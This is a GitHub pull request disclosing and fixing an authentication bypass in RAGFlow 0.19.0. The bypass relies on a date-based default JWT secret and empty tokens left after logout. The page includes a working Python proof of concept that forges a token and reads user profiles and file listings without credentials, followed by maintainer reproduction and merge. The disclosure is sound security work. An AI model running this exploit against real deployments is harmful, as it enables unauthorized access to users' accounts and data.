Skip to content

Fix: Authentication Bypass via predictable JWT secret and empty token validation #7998

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 1 commit into from
Jun 5, 2025

Conversation

geckosecurity
Copy link
Contributor

Description

There's a critical authentication bypass vulnerability that allows remote attackers to gain unauthorized access to user accounts without any credentials. The vulnerability stems from two security flaws: (1) the application uses a predictable SECRET_KEY that defaults to the current date, and (2) the authentication mechanism fails to properly validate empty access tokens left by logged-out users. When combined, these flaws allow attackers to forge valid JWT tokens and authenticate as any user who has previously logged out of the system.

The authentication flow relies on JWT tokens signed with a SECRET_KEY that, in default configurations, is set to str(date.today()) (e.g., "2025-05-30"). When users log out, their access_token field in the database is set to an empty string but their account records remain active. An attacker can exploit this by generating a JWT token that represents an empty access_token using the predictable daily secret, effectively bypassing all authentication controls.

Source - Sink Analysis

Source (User Input): HTTP Authorization header containing attacker-controlled JWT token

Flow Path:

  1. Entry Point: load_user() function in api/apps/__init__.py (Line 142)
  2. Token Processing: JWT token extracted from Authorization header
  3. Secret Key Usage: Token decoded using predictable SECRET_KEY from api/settings.py (Line 123)
  4. Database Query: UserService.query() called with decoded empty access_token
  5. Sink: Authentication succeeds, returning first user with empty access_token

Proof of Concept

import requests
from datetime import date
from itsdangerous.url_safe import URLSafeTimedSerializer
import sys

def exploit_ragflow(target):
    # Generate token with predictable key
    daily_key = str(date.today())
    serializer = URLSafeTimedSerializer(secret_key=daily_key)
    malicious_token = serializer.dumps("")
    
    print(f"Target: {target}")
    print(f"Secret key: {daily_key}")
    print(f"Generated token: {malicious_token}\n")
    
    # Test endpoints
    endpoints = [
        ("/v1/user/info", "User profile"),
        ("/v1/file/list?parent_id=&keywords=&page_size=10&page=1", "File listing")
    ]
    
    auth_headers = {"Authorization": malicious_token}
    
    for path, description in endpoints:
        print(f"Testing {description}...")
        response = requests.get(f"{target}{path}", headers=auth_headers)
        
        if response.status_code == 200:
            data = response.json()
            if data.get("code") == 0:
                print(f"SUCCESS {description} accessible")
                if "user" in path:
                    user_data = data.get("data", {})
                    print(f"  Email: {user_data.get('email')}")
                    print(f"  User ID: {user_data.get('id')}")
                elif "file" in path:
                    files = data.get("data", {}).get("files", [])
                    print(f"  Files found: {len(files)}")
            else:
                print(f"Access denied")
        else:
            print(f"HTTP {response.status_code}")
        print()

if __name__ == "__main__":
    target_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost"
    exploit_ragflow(target_url)

Exploitation Steps:

  1. Deploy RAGFlow with default configuration
  2. Create a user and make at least one user log out (creating empty access_token in database)
  3. Run the PoC script against the target
  4. Observe successful authentication and data access without any credentials

Version: 0.19.0
@KevinHuSh @asiroliu @cike8899

@dosubot dosubot bot added size:M This PR changes 30-99 lines, ignoring generated files. 🐞 bug Something isn't working, pull request that fix bug. labels Jun 1, 2025
@KevinHuSh KevinHuSh requested a review from asiroliu June 3, 2025 01:42
@asiroliu
Copy link
Contributor

asiroliu commented Jun 4, 2025

@KevinHuSh
LGTM

@geckosecurity

  • Reproduced the vulnerability you reported on v0.19.0
  1. user log out, creating empty access_token
image
  1. Run the PoC script
image
  • Testing your latest code changes
  1. user log out, the access_token is not empty
image
  1. Run the PoC script
image

@KevinHuSh KevinHuSh added the ci Continue Integration label Jun 4, 2025
@KevinHuSh KevinHuSh merged commit de89b84 into infiniflow:main Jun 5, 2025
4 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
🐞 bug Something isn't working, pull request that fix bug. ci Continue Integration size:M This PR changes 30-99 lines, ignoring generated files.
Projects
None yet
Development

Successfully merging this pull request may close these issues.

4 participants